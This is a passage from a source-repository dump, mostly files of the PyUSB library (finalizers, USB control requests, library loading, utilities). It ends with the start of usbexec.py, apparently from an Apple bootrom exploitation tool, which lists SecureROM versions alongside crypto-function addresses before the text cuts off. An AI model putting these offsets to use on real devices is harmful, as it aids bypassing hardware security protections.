| def __new__(cls, *args, **kwargs): 52 | """Creates a new object instance and adds the private finalizer 53 | attributes to it. 54 | 55 | Returns: new object instance 56 | 57 | Arguments: 58 | * *args, **kwargs -- ignored 59 | """ 60 | instance = super(_AutoFinalizedObjectBase, cls).__new__(cls) 61 | instance._finalize_called = False 62 | return instance 63 | 64 | def _do_finalize_object(self): 65 | """Helper method that finalizes the object if not already done. 66 | 67 | Returns: None 68 | """ 69 | if not self._finalize_called: # race-free? 70 | self._finalize_called = True 71 | self._finalize_object() 72 | 73 | def finalize(self): 74 | """Finalizes the object if not already done. 75 | 76 | Returns: None 77 | """ 78 | # this is the "public" finalize method 79 | raise NotImplementedError( 80 | "finalize() must be implemented by AutoFinalizedObject." 81 | ) 82 | 83 | def __del__(self): 84 | self.finalize() 85 | 86 | 87 | if sys.hexversion >= 0x3040000: 88 | # python >= 3.4: use weakref.finalize 89 | import weakref 90 | 91 | def _do_finalize_object_ref(obj_ref): 92 | """Helper function for weakref.finalize() that dereferences a weakref 93 | to an object and calls its _do_finalize_object() method if the object 94 | is still alive. Does nothing otherwise. 95 | 96 | Returns: None (implicit) 97 | 98 | Arguments: 99 | * obj_ref -- weakref to an object 100 | """ 101 | obj = obj_ref() 102 | if obj is not None: 103 | # else object disappeared 104 | obj._do_finalize_object() 105 | 106 | 107 | class AutoFinalizedObject(_AutoFinalizedObjectBase): 108 | 109 | def __new__(cls, *args, **kwargs): 110 | """Creates a new object instance and adds the private finalizer 111 | attributes to it. 112 | 113 | Returns: new object instance 114 | 115 | Arguments: 116 | * *args, **kwargs -- passed to the parent instance creator 117 | (which ignores them) 118 | """ 119 | # Note: Do not pass a (hard) reference to instance to the 120 | # finalizer as func/args/kwargs, it'd keep the object 121 | # alive until the program terminates. 122 | # A weak reference is fine. 123 | # 124 | # Note 2: When using weakrefs and not calling finalize() in 125 | # __del__, the object may already have disappeared 126 | # when weakref.finalize() kicks in. 127 | # Make sure that _finalizer() gets called, 128 | # i.e. keep __del__() from the base class. 129 | # 130 | # Note 3: the _finalize_called attribute is (probably) useless 131 | # for this class 132 | instance = super(AutoFinalizedObject, cls).__new__( 133 | cls, *args, **kwargs 134 | ) 135 | 136 | instance._finalizer = weakref.finalize( 137 | instance, _do_finalize_object_ref, weakref.ref(instance) 138 | ) 139 | 140 | return instance 141 | 142 | def finalize(self): 143 | """Finalizes the object if not already done.""" 144 | self._finalizer() 145 | 146 | 147 | else: 148 | # python < 3.4: keep the old behavior (rely on __del__), 149 | # but don't call _finalize_object() more than once 150 | 151 | class AutoFinalizedObject(_AutoFinalizedObjectBase): 152 | 153 | def finalize(self): 154 | """Finalizes the object if not already done.""" 155 | self._do_finalize_object() 156 | -------------------------------------------------------------------------------- /usb/control.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2009-2014 Wander Lairson Costa 2 | # 3 | # The following terms apply to all files associated 4 | # with the software unless explicitly disclaimed in individual files. 5 | # 6 | # The authors hereby grant permission to use, copy, modify, distribute, 7 | # and license this software and its documentation for any purpose, provided 8 | # that existing copyright notices are retained in all copies and that this 9 | # notice is included verbatim in any distributions. No written agreement, 10 | # license, or royalty fee is required for any of the authorized uses. 11 | # Modifications to this software may be copyrighted by their authors 12 | # and need not follow the licensing terms described here, provided that 13 | # the new terms are clearly indicated on the first page of each file where 14 | # they apply. 15 | # 16 | # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY 17 | # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES 18 | # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY 19 | # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE 20 | # POSSIBILITY OF SUCH DAMAGE. 21 | # 22 | # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, 23 | # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, 24 | # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE 25 | # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE 26 | # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR 27 | # MODIFICATIONS. 28 | 29 | r"""usb.control - USB standard control requests 30 | 31 | This module exports: 32 | 33 | get_status - get recipeint status 34 | clear_feature - clear a recipient feature 35 | set_feature - set a recipient feature 36 | get_descriptor - get a device descriptor 37 | set_descriptor - set a device descriptor 38 | get_configuration - get a device configuration 39 | set_configuration - set a device configuration 40 | get_interface - get a device interface 41 | set_interface - set a device interface 42 | """ 43 | 44 | __author__ = 'Wander Lairson Costa' 45 | 46 | __all__ = ['get_status', 47 | 'clear_feature', 48 | 'set_feature', 49 | 'get_descriptor', 50 | 'set_descriptor', 51 | 'get_configuration', 52 | 'set_configuration', 53 | 'get_interface', 54 | 'set_interface', 55 | 'ENDPOINT_HALT', 56 | 'FUNCTION_SUSPEND', 57 | 'DEVICE_REMOTE_WAKEUP', 58 | 'U1_ENABLE', 59 | 'U2_ENABLE', 60 | 'LTM_ENABLE'] 61 | 62 | import usb.util as util 63 | import usb.core as core 64 | 65 | def _parse_recipient(recipient, direction): 66 | if recipient is None: 67 | r = util.CTRL_RECIPIENT_DEVICE 68 | wIndex = 0 69 | elif isinstance(recipient, core.Interface): 70 | r = util.CTRL_RECIPIENT_INTERFACE 71 | wIndex = recipient.bInterfaceNumber 72 | elif isinstance(recipient, core.Endpoint): 73 | r = util.CTRL_RECIPIENT_ENDPOINT 74 | wIndex = recipient.bEndpointAddress 75 | else: 76 | raise ValueError('Invalid recipient.') 77 | bmRequestType = util.build_request_type( 78 | direction, 79 | util.CTRL_TYPE_STANDARD, 80 | r 81 | ) 82 | return (bmRequestType, wIndex) 83 | 84 | # standard feature selectors from USB 2.0/3.0 85 | ENDPOINT_HALT = 0 86 | FUNCTION_SUSPEND = 0 87 | DEVICE_REMOTE_WAKEUP = 1 88 | U1_ENABLE = 48 89 | U2_ENABLE = 49 90 | LTM_ENABLE = 50 91 | 92 | def get_status(dev, recipient = None): 93 | r"""Return the status for the specified recipient. 94 | 95 | dev is the Device object to which the request will be 96 | sent to. 97 | 98 | The recipient can be None (on which the status will be queried 99 | from the device), an Interface or Endpoint descriptors. 100 | 101 | The status value is returned as an integer with the lower 102 | word being the two bytes status value. 103 | """ 104 | bmRequestType, wIndex = _parse_recipient(recipient, util.CTRL_IN) 105 | ret = dev.ctrl_transfer(bmRequestType = bmRequestType, 106 | bRequest = 0x00, 107 | wIndex = wIndex, 108 | data_or_wLength = 2) 109 | return ret[0] | (ret[1] << 8) 110 | 111 | def clear_feature(dev, feature, recipient = None): 112 | r"""Clear/disable a specific feature. 113 | 114 | dev is the Device object to which the request will be 115 | sent to. 116 | 117 | feature is the feature you want to disable. 118 | 119 | The recipient can be None (on which the status will be queried 120 | from the device), an Interface or Endpoint descriptors. 121 | """ 122 | if feature == ENDPOINT_HALT: 123 | dev.clear_halt(recipient) 124 | else: 125 | bmRequestType, wIndex = _parse_recipient(recipient, util.CTRL_OUT) 126 | dev.ctrl_transfer(bmRequestType = bmRequestType, 127 | bRequest = 0x01, 128 | wIndex = wIndex, 129 | wValue = feature) 130 | 131 | def set_feature(dev, feature, recipient = None): 132 | r"""Set/enable a specific feature. 133 | 134 | dev is the Device object to which the request will be 135 | sent to. 136 | 137 | feature is the feature you want to enable. 138 | 139 | The recipient can be None (on which the status will be queried 140 | from the device), an Interface or Endpoint descriptors. 141 | """ 142 | bmRequestType, wIndex = _parse_recipient(recipient, util.CTRL_OUT) 143 | dev.ctrl_transfer(bmRequestType = bmRequestType, 144 | bRequest = 0x03, 145 | wIndex = wIndex, 146 | wValue = feature) 147 | 148 | def get_descriptor(dev, desc_size, desc_type, desc_index, wIndex = 0): 149 | r"""Return the specified descriptor. 150 | 151 | dev is the Device object to which the request will be 152 | sent to. 153 | 154 | desc_size is the descriptor size. 155 | 156 | desc_type and desc_index are the descriptor type and index, 157 | respectively. wIndex index is used for string descriptors 158 | and represents the Language ID. For other types of descriptors, 159 | it is zero. 160 | """ 161 | wValue = desc_index | (desc_type << 8) 162 | 163 | bmRequestType = util.build_request_type( 164 | util.CTRL_IN, 165 | util.CTRL_TYPE_STANDARD, 166 | util.CTRL_RECIPIENT_DEVICE) 167 | 168 | return dev.ctrl_transfer( 169 | bmRequestType = bmRequestType, 170 | bRequest = 0x06, 171 | wValue = wValue, 172 | wIndex = wIndex, 173 | data_or_wLength = desc_size) 174 | 175 | def set_descriptor(dev, desc, desc_type, desc_index, wIndex = None): 176 | r"""Update an existing descriptor or add a new one. 177 | 178 | dev is the Device object to which the request will be 179 | sent to. 180 | 181 | The desc parameter is the descriptor to be sent to the device. 182 | desc_type and desc_index are the descriptor type and index, 183 | respectively. wIndex index is used for string descriptors 184 | and represents the Language ID. For other types of descriptors, 185 | it is zero. 186 | """ 187 | wValue = desc_index | (desc_type << 8) 188 | 189 | bmRequestType = util.build_request_type( 190 | util.CTRL_OUT, 191 | util.CTRL_TYPE_STANDARD, 192 | util.CTRL_RECIPIENT_DEVICE) 193 | 194 | dev.ctrl_transfer( 195 | bmRequestType = bmRequestType, 196 | bRequest = 0x07, 197 | wValue = wValue, 198 | wIndex = wIndex, 199 | data_or_wLength = desc) 200 | 201 | def get_configuration(dev): 202 | r"""Get the current active configuration of the device. 203 | 204 | dev is the Device object to which the request will be 205 | sent to. 206 | 207 | This function differs from the Device.get_active_configuration 208 | method because the later may use cached data, while this 209 | function always does a device request. 210 | """ 211 | bmRequestType = util.build_request_type( 212 | util.CTRL_IN, 213 | util.CTRL_TYPE_STANDARD, 214 | util.CTRL_RECIPIENT_DEVICE) 215 | 216 | return dev.ctrl_transfer( 217 | bmRequestType, 218 | bRequest = 0x08, 219 | data_or_wLength = 1)[0] 220 | 221 | def set_configuration(dev, bConfigurationNumber): 222 | r"""Set the current device configuration. 223 | 224 | dev is the Device object to which the request will be 225 | sent to. 226 | """ 227 | dev.set_configuration(bConfigurationNumber) 228 | 229 | def get_interface(dev, bInterfaceNumber): 230 | r"""Get the current alternate setting of the interface. 231 | 232 | dev is the Device object to which the request will be 233 | sent to. 234 | """ 235 | bmRequestType = util.build_request_type( 236 | util.CTRL_IN, 237 | util.CTRL_TYPE_STANDARD, 238 | util.CTRL_RECIPIENT_INTERFACE) 239 | 240 | return dev.ctrl_transfer( 241 | bmRequestType = bmRequestType, 242 | bRequest = 0x0a, 243 | wIndex = bInterfaceNumber, 244 | data_or_wLength = 1)[0] 245 | 246 | def set_interface(dev, bInterfaceNumber, bAlternateSetting): 247 | r"""Set the alternate setting of the interface. 248 | 249 | dev is the Device object to which the request will be 250 | sent to. 251 | """ 252 | dev.set_interface_altsetting(bInterfaceNumber, bAlternateSetting) 253 | 254 | -------------------------------------------------------------------------------- /usb/libloader.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # 3 | # Copyright (C) 2013-2014 André Erdmann 4 | # 5 | # The following terms apply to all files associated 6 | # with the software unless explicitly disclaimed in individual files. 7 | # 8 | # The authors hereby grant permission to use, copy, modify, distribute, 9 | # and license this software and its documentation for any purpose, provided 10 | # that existing copyright notices are retained in all copies and that this 11 | # notice is included verbatim in any distributions. No written agreement, 12 | # license, or royalty fee is required for any of the authorized uses. 13 | # Modifications to this software may be copyrighted by their authors 14 | # and need not follow the licensing terms described here, provided that 15 | # the new terms are clearly indicated on the first page of each file where 16 | # they apply. 17 | # 18 | # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY 19 | # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES 20 | # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY 21 | # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE 22 | # POSSIBILITY OF SUCH DAMAGE. 23 | # 24 | # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, 25 | # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, 26 | # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE 27 | # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE 28 | # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR 29 | # MODIFICATIONS. 30 | 31 | import ctypes 32 | import ctypes.util 33 | import logging 34 | import sys 35 | 36 | __all__ = [ 37 | 'LibraryException', 38 | 'LibraryNotFoundException', 39 | 'NoLibraryCandidatesException', 40 | 'LibraryNotLoadedException', 41 | 'LibraryMissingSymbolsException', 42 | 'locate_library', 43 | 'load_library', 44 | 'load_locate_library' 45 | ] 46 | 47 | 48 | _LOGGER = logging.getLogger('usb.libloader') 49 | 50 | 51 | class LibraryException(OSError): 52 | pass 53 | 54 | class LibraryNotFoundException(LibraryException): 55 | pass 56 | 57 | class NoLibraryCandidatesException(LibraryNotFoundException): 58 | pass 59 | 60 | class LibraryNotLoadedException(LibraryException): 61 | pass 62 | 63 | class LibraryMissingSymbolsException(LibraryException): 64 | pass 65 | 66 | 67 | def locate_library (candidates, find_library=ctypes.util.find_library): 68 | """Tries to locate a library listed in candidates using the given 69 | find_library() function (or ctypes.util.find_library). 70 | Returns the first library found, which can be the library's name 71 | or the path to the library file, depending on find_library(). 72 | Returns None if no library is found. 73 | 74 | arguments: 75 | * candidates -- iterable with library names 76 | * find_library -- function that takes one positional arg (candidate) 77 | and returns a non-empty str if a library has been found. 78 | Any "false" value (None,False,empty str) is interpreted 79 | as "library not found". 80 | Defaults to ctypes.util.find_library if not given or 81 | None. 82 | """ 83 | if find_library is None: 84 | find_library = ctypes.util.find_library 85 | 86 | use_dll_workaround = ( 87 | sys.platform == 'win32' and find_library is ctypes.util.find_library 88 | ) 89 | 90 | for candidate in candidates: 91 | # Workaround for CPython 3.3 issue#16283 / pyusb #14 92 | if use_dll_workaround: 93 | candidate += '.dll' 94 | 95 | libname = find_library(candidate) 96 | if libname: 97 | return libname 98 | # -- end for 99 | return None 100 | 101 | def load_library(lib, name=None, lib_cls=None): 102 | """Loads a library. Catches and logs exceptions. 103 | 104 | Returns: the loaded library or None 105 | 106 | arguments: 107 | * lib -- path to/name of the library to be loaded 108 | * name -- the library's identifier (for logging) 109 | Defaults to None. 110 | * lib_cls -- library class. Defaults to None (-> ctypes.CDLL). 111 | """ 112 | try: 113 | if lib_cls: 114 | return lib_cls(lib) 115 | else: 116 | return ctypes.CDLL(lib) 117 | except Exception: 118 | if name: 119 | lib_msg = '%s (%s)' % (name, lib) 120 | else: 121 | lib_msg = lib 122 | 123 | lib_msg += ' could not be loaded' 124 | 125 | if sys.platform == 'cygwin': 126 | lib_msg += ' in cygwin' 127 | _LOGGER.error(lib_msg, exc_info=True) 128 | return None 129 | 130 | def load_locate_library(candidates, cygwin_lib, name, 131 | win_cls=None, cygwin_cls=None, others_cls=None, 132 | find_library=None, check_symbols=None): 133 | """Locates and loads a library. 134 | 135 | Returns: the loaded library 136 | 137 | arguments: 138 | * candidates -- candidates list for locate_library() 139 | * cygwin_lib -- name of the cygwin library 140 | * name -- lib identifier (for logging). Defaults to None. 141 | * win_cls -- class that is used to instantiate the library on 142 | win32 platforms. Defaults to None (-> ctypes.CDLL). 143 | * cygwin_cls -- library class for cygwin platforms. 144 | Defaults to None (-> ctypes.CDLL). 145 | * others_cls -- library class for all other platforms. 146 | Defaults to None (-> ctypes.CDLL). 147 | * find_library -- see locate_library(). Defaults to None. 148 | * check_symbols -- either None or a list of symbols that the loaded lib 149 | must provide (hasattr(<>)) in order to be considered 150 | valid. LibraryMissingSymbolsException is raised if 151 | any symbol is missing. 152 | 153 | raises: 154 | * NoLibraryCandidatesException 155 | * LibraryNotFoundException 156 | * LibraryNotLoadedException 157 | * LibraryMissingSymbolsException 158 | """ 159 | if sys.platform == 'cygwin': 160 | if cygwin_lib: 161 | loaded_lib = load_library(cygwin_lib, name, cygwin_cls) 162 | else: 163 | raise NoLibraryCandidatesException(name) 164 | elif candidates: 165 | lib = locate_library(candidates, find_library) 166 | if lib: 167 | if sys.platform == 'win32': 168 | loaded_lib = load_library(lib, name, win_cls) 169 | else: 170 | loaded_lib = load_library(lib, name, others_cls) 171 | else: 172 | _LOGGER.error('%r could not be found', (name or candidates)) 173 | raise LibraryNotFoundException(name) 174 | else: 175 | raise NoLibraryCandidatesException(name) 176 | 177 | if loaded_lib is None: 178 | raise LibraryNotLoadedException(name) 179 | elif check_symbols: 180 | symbols_missing = [ 181 | s for s in check_symbols if not hasattr(loaded_lib, s) 182 | ] 183 | if symbols_missing: 184 | msg = ('%r, missing symbols: %r', lib, symbols_missing ) 185 | _LOGGER.error(msg) 186 | raise LibraryMissingSymbolsException(lib) 187 | else: 188 | return loaded_lib 189 | else: 190 | return loaded_lib 191 | -------------------------------------------------------------------------------- /usb/util.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2009-2014 Wander Lairson Costa 2 | # 3 | # The following terms apply to all files associated 4 | # with the software unless explicitly disclaimed in individual files. 5 | # 6 | # The authors hereby grant permission to use, copy, modify, distribute, 7 | # and license this software and its documentation for any purpose, provided 8 | # that existing copyright notices are retained in all copies and that this 9 | # notice is included verbatim in any distributions. No written agreement, 10 | # license, or royalty fee is required for any of the authorized uses. 11 | # Modifications to this software may be copyrighted by their authors 12 | # and need not follow the licensing terms described here, provided that 13 | # the new terms are clearly indicated on the first page of each file where 14 | # they apply. 15 | # 16 | # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY 17 | # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES 18 | # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY 19 | # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE 20 | # POSSIBILITY OF SUCH DAMAGE. 21 | # 22 | # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, 23 | # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, 24 | # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE 25 | # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE 26 | # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR 27 | # MODIFICATIONS. 28 | 29 | r"""usb.util - Utility functions. 30 | 31 | This module exports: 32 | 33 | endpoint_address - return the endpoint absolute address. 34 | endpoint_direction - return the endpoint transfer direction. 35 | endpoint_type - return the endpoint type 36 | ctrl_direction - return the direction of a control transfer 37 | build_request_type - build a bmRequestType field of a control transfer. 38 | find_descriptor - find an inner descriptor. 39 | claim_interface - explicitly claim an interface. 40 | release_interface - explicitly release an interface. 41 | dispose_resources - release internal resources allocated by the object. 42 | get_langids - retrieve the list of supported string languages from the device. 43 | get_string - retrieve a string descriptor from the device. 44 | """ 45 | 46 | __author__ = 'Wander Lairson Costa' 47 | 48 | import operator 49 | import array 50 | from sys import hexversion 51 | import usb._interop as _interop 52 | 53 | # descriptor type 54 | DESC_TYPE_DEVICE = 0x01 55 | DESC_TYPE_CONFIG = 0x02 56 | DESC_TYPE_STRING = 0x03 57 | DESC_TYPE_INTERFACE = 0x04 58 | DESC_TYPE_ENDPOINT = 0x05 59 | 60 | # endpoint direction 61 | ENDPOINT_IN = 0x80 62 | ENDPOINT_OUT = 0x00 63 | 64 | # endpoint type 65 | ENDPOINT_TYPE_CTRL = 0x00 66 | ENDPOINT_TYPE_ISO = 0x01 67 | ENDPOINT_TYPE_BULK = 0x02 68 | ENDPOINT_TYPE_INTR = 0x03 69 | 70 | # control request type 71 | CTRL_TYPE_STANDARD = (0 << 5) 72 | CTRL_TYPE_CLASS = (1 << 5) 73 | CTRL_TYPE_VENDOR = (2 << 5) 74 | CTRL_TYPE_RESERVED = (3 << 5) 75 | 76 | # control request recipient 77 | CTRL_RECIPIENT_DEVICE = 0 78 | CTRL_RECIPIENT_INTERFACE = 1 79 | CTRL_RECIPIENT_ENDPOINT = 2 80 | CTRL_RECIPIENT_OTHER = 3 81 | 82 | # control request direction 83 | CTRL_OUT = 0x00 84 | CTRL_IN = 0x80 85 | 86 | _ENDPOINT_ADDR_MASK = 0x0f 87 | _ENDPOINT_DIR_MASK = 0x80 88 | _ENDPOINT_TRANSFER_TYPE_MASK = 0x03 89 | _CTRL_DIR_MASK = 0x80 90 | 91 | # For compatibility between Python 2 and 3 92 | _dummy_s = '\x00'.encode('utf-8') 93 | 94 | # speed type 95 | SPEED_LOW = 1 96 | SPEED_FULL = 2 97 | SPEED_HIGH = 3 98 | SPEED_SUPER = 4 99 | SPEED_UNKNOWN = 0 100 | 101 | def endpoint_address(address): 102 | r"""Return the endpoint absolute address. 103 | 104 | The address parameter is the bEndpointAddress field 105 | of the endpoint descriptor. 106 | """ 107 | return address & _ENDPOINT_ADDR_MASK 108 | 109 | def endpoint_direction(address): 110 | r"""Return the endpoint direction. 111 | 112 | The address parameter is the bEndpointAddress field 113 | of the endpoint descriptor. 114 | The possible return values are ENDPOINT_OUT or ENDPOINT_IN. 115 | """ 116 | return address & _ENDPOINT_DIR_MASK 117 | 118 | def endpoint_type(bmAttributes): 119 | r"""Return the transfer type of the endpoint. 120 | 121 | The bmAttributes parameter is the bmAttributes field 122 | of the endpoint descriptor. 123 | The possible return values are: ENDPOINT_TYPE_CTRL, 124 | ENDPOINT_TYPE_ISO, ENDPOINT_TYPE_BULK or ENDPOINT_TYPE_INTR. 125 | """ 126 | return bmAttributes & _ENDPOINT_TRANSFER_TYPE_MASK 127 | 128 | def ctrl_direction(bmRequestType): 129 | r"""Return the direction of a control request. 130 | 131 | The bmRequestType parameter is the value of the 132 | bmRequestType field of a control transfer. 133 | The possible return values are CTRL_OUT or CTRL_IN. 134 | """ 135 | return bmRequestType & _CTRL_DIR_MASK 136 | 137 | def build_request_type(direction, type, recipient): 138 | r"""Build a bmRequestType field for control requests. 139 | 140 | These is a conventional function to build a bmRequestType 141 | for a control request. 142 | 143 | The direction parameter can be CTRL_OUT or CTRL_IN. 144 | The type parameter can be CTRL_TYPE_STANDARD, CTRL_TYPE_CLASS, 145 | CTRL_TYPE_VENDOR or CTRL_TYPE_RESERVED values. 146 | The recipient can be CTRL_RECIPIENT_DEVICE, CTRL_RECIPIENT_INTERFACE, 147 | CTRL_RECIPIENT_ENDPOINT or CTRL_RECIPIENT_OTHER. 148 | 149 | Return the bmRequestType value. 150 | """ 151 | return recipient | type | direction 152 | 153 | def create_buffer(length): 154 | r"""Create a buffer to be passed to a read function. 155 | 156 | A read function may receive an out buffer so the data 157 | is read inplace and the object can be reused, avoiding 158 | the overhead of creating a new object at each new read 159 | call. This function creates a compatible sequence buffer 160 | of the given length. 161 | """ 162 | return array.array('B', _dummy_s * length) 163 | 164 | def find_descriptor(desc, find_all=False, custom_match=None, **args): 165 | r"""Find an inner descriptor. 166 | 167 | find_descriptor works in the same way as the core.find() function does, 168 | but it acts on general descriptor objects. For example, suppose you 169 | have a Device object called dev and want a Configuration of this 170 | object with its bConfigurationValue equals to 1, the code would 171 | be like so: 172 | 173 | >>> cfg = util.find_descriptor(dev, bConfigurationValue=1) 174 | 175 | You can use any field of the Descriptor as a match criteria, and you 176 | can supply a customized match just like core.find() does. The 177 | find_descriptor function also accepts the find_all parameter to get 178 | an iterator instead of just one descriptor. 179 | """ 180 | def desc_iter(**kwargs): 181 | for d in desc: 182 | tests = (val == getattr(d, key) for key, val in kwargs.items()) 183 | if _interop._all(tests) and (custom_match is None or custom_match(d)): 184 | yield d 185 | 186 | if find_all: 187 | return desc_iter(**args) 188 | else: 189 | try: 190 | return _interop._next(desc_iter(**args)) 191 | except StopIteration: 192 | return None 193 | 194 | def claim_interface(device, interface): 195 | r"""Explicitly claim an interface. 196 | 197 | PyUSB users normally do not have to worry about interface claiming, 198 | as the library takes care of it automatically. But there are situations 199 | where you need deterministic interface claiming. For these uncommon 200 | cases, you can use claim_interface. 201 | 202 | If the interface is already claimed, either through a previously call 203 | to claim_interface or internally by the device object, nothing happens. 204 | """ 205 | device._ctx.managed_claim_interface(device, interface) 206 | 207 | def release_interface(device, interface): 208 | r"""Explicitly release an interface. 209 | 210 | This function is used to release an interface previously claimed, 211 | either through a call to claim_interface or internally by the 212 | device object. 213 | 214 | Normally, you do not need to worry about claiming policies, as 215 | the device object takes care of it automatically. 216 | """ 217 | device._ctx.managed_release_interface(device, interface) 218 | 219 | def dispose_resources(device): 220 | r"""Release internal resources allocated by the object. 221 | 222 | Sometimes you need to provide deterministic resources 223 | freeing, for example to allow another application to 224 | talk to the device. As Python does not provide deterministic 225 | destruction, this function releases all internal resources 226 | allocated by the device, like device handle and interface 227 | policy. 228 | 229 | After calling this function, you can continue using the device 230 | object normally. If the resources will be necessary again, it 231 | will be allocated automatically. 232 | """ 233 | device._ctx.dispose(device) 234 | 235 | def get_langids(dev): 236 | r"""Retrieve the list of supported Language IDs from the device. 237 | 238 | Most client code should not call this function directly, but instead use 239 | the langids property on the Device object, which will call this function as 240 | needed and cache the result. 241 | 242 | USB LANGIDs are 16-bit integers familiar to Windows developers, where 243 | for example instead of en-US you say 0x0409. See the file USB_LANGIDS.pdf 244 | somewhere on the usb.org site for a list, which does not claim to be 245 | complete. It requires "system software must allow the enumeration and 246 | selection of LANGIDs that are not currently on this list." It also requires 247 | "system software should never request a LANGID not defined in the LANGID 248 | code array (string index = 0) presented by a device." Client code can 249 | check this tuple before issuing string requests for a specific language ID. 250 | 251 | dev is the Device object whose supported language IDs will be retrieved. 252 | 253 | The return value is a tuple of integer LANGIDs, possibly empty if the 254 | device does not support strings at all (which USB 3.1 r1.0 section 255 | 9.6.9 allows). In that case client code should not request strings at all. 256 | 257 | A USBError may be raised from this function for some devices that have no 258 | string support, instead of returning an empty tuple. The accessor for the 259 | langids property on Device catches that case and supplies an empty tuple, 260 | so client code can ignore this detail by using the langids property instead 261 | of directly calling this function. 262 | """ 263 | from usb.control import get_descriptor 264 | buf = get_descriptor( 265 | dev, 266 | 254, 267 | DESC_TYPE_STRING, 268 | 0 269 | ) 270 | 271 | # The array is retrieved by asking for string descriptor zero, which is 272 | # never the index of a real string. The returned descriptor has bLength 273 | # and bDescriptorType bytes followed by pairs of bytes representing 274 | # little-endian LANGIDs. That is, buf[0] contains the length of the 275 | # returned array, buf[2] is the least-significant byte of the first LANGID 276 | # (if any), buf[3] is the most-significant byte, and in general the LSBs of 277 | # all the LANGIDs are given by buf[2:buf[0]:2] and MSBs by buf[3:buf[0]:2]. 278 | # If the length of buf came back odd, something is wrong. 279 | 280 | if len(buf) < 4 or buf[0] < 4 or buf[0]&1 != 0: 281 | return () 282 | 283 | return tuple(map(lambda x,y: x+(y<<8), buf[2:buf[0]:2], buf[3:buf[0]:2])) 284 | 285 | def get_string(dev, index, langid = None): 286 | r"""Retrieve a string descriptor from the device. 287 | 288 | dev is the Device object which the string will be read from. 289 | 290 | index is the string descriptor index and langid is the Language 291 | ID of the descriptor. If langid is omitted, the string descriptor 292 | of the first Language ID will be returned. 293 | 294 | Zero is never the index of a real string. The USB spec allows a device to 295 | use zero in a string index field to indicate that no string is provided. 296 | So the caller does not have to treat that case specially, this function 297 | returns None if passed an index of zero, and generates no traffic 298 | to the device. 299 | 300 | The return value is the unicode string present in the descriptor, or None 301 | if the requested index was zero. 302 | 303 | It is a ValueError to request a real string (index not zero), if: the 304 | device's langid tuple is empty, or with an explicit langid the device does 305 | not support. 306 | """ 307 | if 0 == index: 308 | return None 309 | 310 | from usb.control import get_descriptor 311 | langids = dev.langids 312 | 313 | if 0 == len(langids): 314 | raise ValueError("The device has no langid") 315 | if langid is None: 316 | langid = langids[0] 317 | elif langid not in langids: 318 | raise ValueError("The device does not support the specified langid") 319 | 320 | buf = get_descriptor( 321 | dev, 322 | 255, # Maximum descriptor size 323 | DESC_TYPE_STRING, 324 | index, 325 | langid 326 | ) 327 | if hexversion >= 0x03020000: 328 | return buf[2:buf[0]].tobytes().decode('utf-16-le') 329 | else: 330 | return buf[2:buf[0]].tostring().decode('utf-16-le') 331 | -------------------------------------------------------------------------------- /usbexec.py: -------------------------------------------------------------------------------- 1 | import struct, sys 2 | import dfu, device_platform 3 | 4 | class ExecConfig: 5 | def __init__(self, info, aes_crypto_cmd): 6 | self.info = info 7 | self.aes_crypto_cmd = aes_crypto_cmd 8 | 9 | def match(self, info): 10 | return info == self.info[0].ljust(0x40, '\0') + self.info[1].ljust(0x40, '\0') + self.info[2].ljust(0x80, '\0') 11 | 12 | configs = [ 13 | ExecConfig(('SecureROM for s5l8947xsi, Copyright 2011, Apple Inc.', 'RELEASE', 'iBoot-1458.2'), aes_crypto_cmd=0x7060+1), 14 | ExecConfig(('SecureROM for s5l8950xsi, Copyright 2011, Apple Inc.', 'RELEASE', 'iBoot-1145.3'), aes_crypto_cmd=0x7300+1), 15 | ExecConfig(('SecureROM for s5l8955xsi, Copyright 2011, Apple Inc.', 'RELEASE', 'iBoot-1145.3.3'), aes_crypto_cmd=0x7340+1), 16 | ExecConfig(('SecureROM for t8002si, Copyright 2007-2014, Apple Inc.', 'ROMRELEASE', 'iBoot-2651.0.0.1.31'), 